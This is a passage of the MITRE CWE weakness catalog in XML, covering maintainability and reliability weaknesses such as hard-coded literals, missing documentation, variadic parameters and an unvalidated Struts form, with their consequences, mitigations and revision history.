         <Description>The product initializes data using hard-coded values that act as network resource identifiers.</Description>
         <Extended_Description><xhtml:p>This issue can prevent the product from running reliably, e.g. if it runs in an environment does not use the hard-coded network resource identifiers. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-18</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1052" Name="Excessive Use of Hard-Coded Literals in Initialization" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product initializes a data element using a hard-coded
					literal that is not a simple integer or static constant element.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to modify or maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="665" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-3</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-3"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1053" Name="Missing Documentation for Design" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not have documentation that represents how it is designed.</Description>
         <Extended_Description><xhtml:p>This issue can make it more difficult to understand and maintain the product. It can make it more difficult and time-consuming to detect and/or fix vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
           <Related_Weakness Nature="ChildOf" CWE_ID="1059" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <References>
            <Reference External_Reference_ID="REF-963"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1054" Name="Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code at one architectural layer invokes code that resides
					at a deeper layer than the adjacent layer, i.e., the invocation skips at least one
					layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to understand and maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1061" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-12</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-12"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1055" Name="Multiple Inheritance from Concrete Classes" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product contains a class with inheritance from more than
					one concrete class.</Description>
         <Extended_Description><xhtml:p>This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.  It also might make it easier to introduce vulnerabilities.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1093" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Maintainability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCMM">
               <Entry_ID>ASCMM-MNT-2</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-960" Section="ASCMM-MNT-2"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1056" Name="Invokable Control Element with Variadic Parameters" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A named-callable or method control element has a signature that
					supports a variable (variadic) number of parameters or arguments.</Description>
         <Extended_Description><xhtml:p>This issue can prevent the product from running reliably.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p>
		 <xhtml:p>With variadic arguments, it can be difficult or inefficient for manual analysis to be certain of which function/method is being invoked.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1120" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-8</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-8"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1057" Name="Data Access Operations Outside of Expected Data Manager Component" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.</Description>
         <Extended_Description><xhtml:p>This issue can make the product perform more slowly than intended, since the intended central data manager may have been explicitly optimized for performance or other quality characteristics.  If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1061" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Performance</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCPEM">
               <Entry_ID>ASCPEM-PRF-11</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-959" Section="ASCPEM-PRF-11"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1058" Name="Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The code contains a function or method that
		 operates in a multi-threaded environment but owns an unsafe non-final
		                     static storable or member data element.</Description>
         <Extended_Description><xhtml:p>This issue can prevent the product from running reliably.  If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.</xhtml:p></Extended_Description>
         <Related_Weaknesses>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1000" Ordinal="Primary"/>
             <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1305" Ordinal="Primary"/>
			 <Related_Weakness Nature="ChildOf" CWE_ID="662" View_ID="1340" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Reduce Reliability</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
               <Entry_ID>ASCRM-RLB-11</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-RLB-11"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="1059" Name="Insufficient Technical Documentation" Abstraction="Class" Structure="Simple" Status="Incomplete">
         <Description>The product does not contain sufficient
         technical or engineering documentation (whether on paper or
         in electronic form) that contains descriptions of all the
         relevant software/hardware elements of the product, such as
         its usage, structure, architectural components, interfaces, design, implementation,
         configuration, operation, etc.</Description>
         <Extended_Description>
	   <xhtml:p>When technical documentation is limited or lacking, products are more difficult to maintain.  This indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities.</xhtml:p>
	 <xhtml:p>When using time-limited or labor-limited third-party/in-house security consulting services (such as threat modeling, vulnerability discovery, or pentesting), insufficient documentation can force those consultants to invest unnecessary time in learning how the product is organized, instead of focusing their expertise on finding the flaws or suggesting effective mitigations.</xhtml:p>
	 <xhtml:p>With respect to hardware design, the lack of a formal, final manufacturer reference can make it difficult or impossible to evaluate the final product, including post-manufacture verification. One cannot ensure that design functionality or operation is within acceptable tolerances, conforms to specifications, and is free from unexpected behavior. Hardware-related documentation may include engineering artifacts such as hardware description language (HDLs), netlists, Gerber files, Bills of Materials, EDA (Electronic Design Automation) tool files, etc.</xhtml:p>
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="710" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Indirect</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
	 <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
            <Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			<Technology Class="ICS/OT" Prevalence="Undetermined"/>
	 </Applicable_Platforms>
	 <Modes_Of_Introduction>
	   <Introduction>
	     <Phase>Architecture and Design</Phase>
	   </Introduction>
	   <Introduction>
	     <Phase>Documentation</Phase>
	   </Introduction>
	 </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Impact>Hide Activities</Impact>
               <Impact>Reduce Reliability</Impact>
               <Impact>Quality Degradation</Impact>
               <Impact>Reduce Maintainability</Impact>
	       <Note>Without a method of verification, one cannot be sure that everything only functions as expected.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Documentation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>Ensure that design documentation is detailed enough to allow for post-manufacturing verification.</Description>
            </Mitigation>
	 </Potential_Mitigations>
	 <Taxonomy_Mappings>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>4-1</Entry_ID>
	     <Entry_Name>Req SG-1</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>4-1</Entry_ID>
	     <Entry_Name>Req SG-2</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>4-1</Entry_ID>
	     <Entry_Name>Req SG-3</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>4-1</Entry_ID>
	     <Entry_Name>Req SG-4</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>4-1</Entry_ID>
	     <Entry_Name>Req SG-5</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>4-1</Entry_ID>
	     <Entry_Name>Req SG-6</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>4-1</Entry_ID>
	     <Entry_Name>Req SG-7</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>2-4</Entry_ID>
	     <Entry_Name>Req SP.02.03 BR</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>2-4</Entry_ID>
	     <Entry_Name>Req SP.02.03 RE(1)</Entry_Name>
	   </Taxonomy_Mapping>
	   <Taxonomy_Mapping Taxonomy_Name="ISA/IEC 62443">
	     <Entry_ID>2-4</Entry_ID>
	     <Entry_Name>Req SP.03.03 RE(1)</Entry_Name>
	   </Taxonomy_Mapping>
	 </Taxonomy_Mappings>
	 <References>
	   <Reference External_Reference_ID="REF-1248" Section="Poorly Documented or Undocumented Features"/>
           <Reference External_Reference_ID="REF-1254"/>
	 </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2018-07-02</Submission_Date>
               <Submission_Comment>Entry derived from Common Quality Enumeration (CQE) Draft 0.9.</Submission_Comment>
            </Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Common_Consequences, Description, Name, Potential_Mitigations, References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>Paul A. Wortman</Contribution_Name>
               <Contribution_Organization>Wells Fargo</Contribution_Organization>
               <Contribution_Date>2021-06-11</Contribution_Date>
               <Contribution_Comment>Submitted hardware-specific information about a "golden standard" that was integrated into this entry</Contribution_Comment>
            </Contribution>
            <Contribution Type="Content">
               <Contribution_Name>"Mapping CWE to 62443" Sub-Working Group</Contribution_Name>
               <Contribution_Organization>CWE-CAPEC ICS/OT SIG</Contribution_Organization>
               <Contribution_Date>2023-04-25</Contribution_Date>
               <Contribution_Comment>Suggested mappings to ISA/IEC 62443.</Contribution_Comment>
            </Contribution>
	    <Previous_Entry_Name Date="2022-04-28">Incomplete Documentation</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="106" Name="Struts: Plug-in Framework not in Use" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>When an application does not use an input validation framework such as the Struts Validator, there is a greater risk of introducing weaknesses related to insufficient input validation.</Description>
         <Extended_Description>
            <xhtml:p>Unchecked input is the leading cause of vulnerabilities in J2EE applications. Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.</xhtml:p>
            <xhtml:p>Although J2EE applications are not generally susceptible to memory corruption attacks, if a J2EE application interfaces with native code that does not perform array bounds checking, an attacker may be able to use an input validation mistake in the J2EE application to launch a buffer overflow attack.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="1173" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="20" View_ID="700" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>Use an input validation framework such as Struts.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>Use an input validation framework such as Struts.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Input Validation</Strategy>
               <Description>
                  <xhtml:p>Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in the configuration of the Struts Validator. Example uses of the validator include checking to ensure that:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>Phone number fields contain only valid characters in phone numbers</xhtml:li>
                        <xhtml:li>Boolean values are only "T" or "F"</xhtml:li>
                        <xhtml:li>Free-form strings are of a reasonable length and composition</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>Use the Struts Validator to validate all program input before it is processed by the application. Ensure that there are no holes in the configuration of the Struts Validator. Example uses of the validator include checking to ensure that:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>Phone number fields contain only valid characters in phone numbers</xhtml:li>
                        <xhtml:li>Boolean values are only "T" or "F"</xhtml:li>
                        <xhtml:li>Free-form strings are of a reasonable length and composition</xhtml:li>
                     </xhtml:ul>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In the following Java example the class RegistrationForm is a Struts framework ActionForm Bean that will maintain user input data from a registration webpage for an online business site. The user will enter registration data and, through the Struts framework, the RegistrationForm bean will maintain the user data.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class RegistrationForm extends org.apache.struts.action.ActionForm {<xhtml:div style="margin-left:1em;">
                        <xhtml:br/>
                        <xhtml:i>// private variables for registration form</xhtml:i>
                        <xhtml:br/>private String name;<xhtml:br/>private String email;<xhtml:br/>...<xhtml:br/>
                        <xhtml:br/>public RegistrationForm() {<xhtml:div style="margin-left:1em;">super();</xhtml:div>}<xhtml:br/>
                        <xhtml:br/>
                        <xhtml:i>// getter and setter methods for private variables</xhtml:i>
                        <xhtml:br/>...<xhtml:br/>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the RegistrationForm class extends the Struts ActionForm class which does use the Struts validator plug-in to provide validator capabilities. In the following example, the RegistrationForm Java class extends the ValidatorForm and Struts configuration XML file, struts-config.xml, instructs the application to use the Struts validator plug-in.</Body_Text>
               <Example_Code Nature="Good" Language="Java">
